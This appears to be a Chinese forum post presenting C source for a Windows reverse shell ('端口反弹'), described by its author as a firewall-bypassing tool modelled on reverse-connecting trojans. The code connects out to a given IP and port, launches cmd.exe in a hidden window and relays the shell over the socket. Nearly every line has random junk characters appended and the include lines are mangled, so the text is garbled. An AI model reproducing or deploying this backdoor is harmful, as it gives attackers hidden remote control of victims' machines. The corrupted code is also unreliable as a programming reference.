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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 e[3 rz%'Q  
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/* ============================== YWf w%p?n"  
Rebound port in Windows NT (HHVup1f  
By wind,2006/7 -?8;-h, h  
===============================*/ (IbT5  
#include "TWNit  
#include )8H5ovj.  
zUw9  
#pragma comment(lib,"wsock32.lib") =xs{Ov=  
}v'jFIkhI  
void OutputShell(); ,{@,dw`lUz  
SOCKET sClient; #+1*g4m~B  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :Sh>  
;tS4 h  
void main(int argc,char **argv) (_}w4N#  
{ '`$US;5  
WSADATA stWsaData; eBD7g-  
int nRet;  oQrkd:  
SOCKADDR_IN stSaiClient,stSaiServer; T~nmEap  
,j4 ;:F  
if(argc != 3) -Oo7]8  
{ G/F0 )M  
printf("Useage:\n\rRebound DestIP DestPort\n"); }&Eb {'  
return; ))M; .b.D  
} { r9fKA  
W_zv"c  
WSAStartup(MAKEWORD(2,2),&stWsaData); WQ\H 2go  
49o5"M(  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Kn]c4h}@b5  
ToUeXU [  
stSaiClient.sin_family = AF_INET; `Gl@?9,i  
stSaiClient.sin_port = htons(0); RH,1U3?  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); y;N[#hY#CD  
0Ey*ci^ue  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) z0;+.E!  
{ KrQ8//Ih  
printf("Bind Socket Failed!\n"); MIcF "fB![  
return; 2 {lo  
} 3>[_2}l  
Z4\$h1tl  
stSaiServer.sin_family = AF_INET; *$ZLu jy7  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *"N756Cj  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )V!dmVQq{g  
83*"58  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) qg;[~JZYKi  
{ ZJotg *I  
printf("Connect Error!"); 8ODrW!o  
return; mWUo:(U  
} Nz+Jf57t  
OutputShell(); I("J$  
} } k[gR I]  
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void OutputShell() `>@n6>f  
{ Pv.z~~l Y  
char szBuff[1024]; Y4PB&pZ$O2  
SECURITY_ATTRIBUTES stSecurityAttributes; iJg3`1@j  
OSVERSIONINFO stOsversionInfo; :Mss"L820  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; wo;`D  
STARTUPINFO stStartupInfo; @u./VK  
char *szShell; d%$'Y|  
PROCESS_INFORMATION stProcessInformation; Y'NQt?h  
unsigned long lBytesRead; < PoRnx  
gA e*kf1  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Xa._  
o0:[,ock  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &H!#jh\w  
stSecurityAttributes.lpSecurityDescriptor = 0; \JBJ$lBL  
stSecurityAttributes.bInheritHandle = TRUE; Hu .e@7  
/J8'mCuC.  
'-F }(9M  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;!(.hCHvr  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &lYZ=|6  
sa%2,e'  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); kve{CO*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @g*=xwve=~  
stStartupInfo.wShowWindow = SW_HIDE; f`X#1w9  
stStartupInfo.hStdInput = hReadPipe; &xF 2!t`  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; dU]>  
gt3;Xi  
GetVersionEx(&stOsversionInfo); >pKu G#  
=N-,.{`  
switch(stOsversionInfo.dwPlatformId) Dm': D  
{ SSANt?\Z<  
case 1: w, u`06  
szShell = "command.com"; [c@14]e  
break; }hOExTz  
default: 3AWNoXh  
szShell = "cmd.exe"; _zQ3sm  
break; YShtoaCx>  
} ?@ ei_<A{  
_DChNX   
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); iP1u u  
Ws[[Me, =  
send(sClient,szMsg,77,0); p<*\f  
while(1) jV^Dj  
{ %?lPS  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); irNGURLm  
if(lBytesRead) s}Q%]W  
{ dKcHj<'E/  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,4 ftQJ  
send(sClient,szBuff,lBytesRead,0); %=J<WA6\  
} 4a;8XAl  
else rJJI<{$  
{ NQ$tQ#chd  
lBytesRead=recv(sClient,szBuff,1024,0); /IM5#M5~  
if(lBytesRead<=0) break; ^'DrU< o  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 24 S,w>j  
} t@-:e^ v  
} I(r^q"  
[o)P  
return; d;KrV=%30s  
}
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